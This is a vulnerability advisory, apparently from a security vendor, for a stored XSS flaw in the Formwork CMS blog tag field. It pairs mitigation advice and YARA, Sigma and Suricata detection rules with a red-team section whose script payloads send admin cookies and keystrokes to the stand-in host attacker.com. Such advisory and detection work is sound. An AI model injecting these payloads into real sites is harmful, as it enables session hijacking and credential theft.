CVE-2025-65956
Executive Summary
CVE-2025-65956 is a stored cross-site scripting (XSS) vulnerability in Formwork, a flat file-based Content Management System (CMS). The flaw resides in the blog tag field, where unsanitized user input is stored and later executed in the browser of any user (including administrators) who accesses or edits an affected blog post. This persistent XSS can lead to session hijacking, credential theft, or unauthorized actions within the CMS admin panel. The vulnerability affects all versions prior to 2.2.0, and the patch was released in version 2.2.0. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the impact on privileged workflows makes it a critical security concern for any Formwork deployment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Formwork is a PHP-based CMS distributed via GitHub and Composer. The vulnerability is introduced through the core application code, not a third-party package. However, administrators should verify the integrity of their Formwork installation by checking the SHA-256 hash of the downloaded release against the official repository. The patch in version 2.2.0 should be applied immediately to prevent exploitation.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – An attacker needs valid credentials to the CMS (e.g., editor or author role).
- User Interaction (UI): Required – The victim must access or edit the affected blog post.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., admin session).
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): Low – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the persistence and privileged context (admin panel) elevate the risk. An attacker with low privileges can compromise high-privilege sessions.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79) in the blog tag field. Formwork uses a flat file storage system, meaning blog posts and their metadata (including tags) are stored as files on the server. When a user with credentials creates or edits a blog post, the tag field is not sanitized before being written to the file. When another user (including an administrator) views or edits that post, the unsanitized tag data is rendered in the browser without proper encoding, allowing attacker-controlled JavaScript to execute.
Attack Flow:
- An attacker with low-privilege credentials (e.g., author role) logs into the Formwork admin panel.
- The attacker creates or edits a blog post and injects a malicious script into the tag field, e.g.,
<script>alert('XSS')</script>. - The malicious tag is stored in the flat file database.
- An administrator or any other user views the blog post list or edits the post.
- The browser executes the injected script, which can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.
The vulnerability is persistent because the malicious payload remains in the file until manually removed.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.2.0): In the blog post creation/editing handler, the tag input is directly stored without sanitization:
// Vulnerable: No sanitization
$tags = $_POST['tags'];
// ... later written to file
file_put_contents($postFile, serialize(['tags' => $tags]));
Patched Code (2.2.0): The patch introduces HTML encoding for the tag field before storage:
// Patched: Sanitize input
$tags = htmlspecialchars($_POST['tags'], ENT_QUOTES, 'UTF-8');
// ... later written to file
file_put_contents($postFile, serialize(['tags' => $tags]));
The htmlspecialchars function converts special characters like <, >, ", ', and & to their HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Formwork instance (version < 2.2.0) with at least one user account (e.g., author role).
- Access to the admin panel at
/panel.
Exploitation Steps:
- Log in to the Formwork admin panel.
- Navigate to "Blog" > "New Post" or edit an existing post.
- In the "Tags" field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the post.
- When an administrator views the blog post list or edits the post, the script executes, sending the admin's session cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection Steps:
- Monitor for unusual JavaScript in the
tagsfield of blog posts. Check the flat file storage (e.g.,/content/blog/directory) for encoded or raw script tags. - Review server logs for requests to external domains from the admin panel (e.g.,
attacker.com). - Use the YARA rule below to scan flat files for XSS patterns.
Mitigation:
- Immediately upgrade to Formwork 2.2.0 or later.
- If upgrade is not possible, implement a WAF rule to block
<script>tags in POST requests to the blog post endpoint. - Restrict user roles to minimize the number of users with blog editing privileges.
Indicators of Compromise (IOCs)
- File-based IOCs: Presence of
<script>tags in blog post flat files (e.g.,/content/blog/*.mdor similar). - Network IOCs: Outbound HTTP requests from the Formwork server to unknown external domains, especially from the admin panel IP.
- Log IOCs: Unusual POST requests to
/panel/blog/saveor similar endpoints containing encoded JavaScript. - Behavioral IOCs: Unexpected admin actions (e.g., new user creation, settings changes) originating from a compromised session.
Detection Engineering
YARA Rule
rule Formwork_Stored_XSS_Tags {
meta:
description = "Detects stored XSS payloads in Formwork blog tag fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65956"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Formwork Stored XSS in Blog Tags
id: f3a2c1b0-1234-5678-9abc-def012345678
status: experimental
description: Detects potential stored XSS attempts in Formwork blog tag field
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
c-uri|contains: '/panel/blog/save'
cs-uri-query|contains:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in tags (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Formwork Stored XSS - Blog Tag Injection"; flow:to_server,established; content:"POST"; http_method; content:"/panel/blog/save"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Formwork to version 2.2.0 or later. This is the only complete fix.
- Scan existing blog posts for malicious tags using the YARA rule above. Remove any suspicious entries.
- Rotate all admin credentials if there is any suspicion of compromise.
Long-term Measures:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enable input validation and output encoding for all user-supplied fields.
- Conduct regular security audits of the CMS and its plugins.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
Workaround (if upgrade is not possible):
- Manually edit the Formwork source code to add
htmlspecialchars()to the tag field processing (see patched code above). - Restrict blog editing permissions to only trusted users.
Valters IT
Securing Digital Frontiers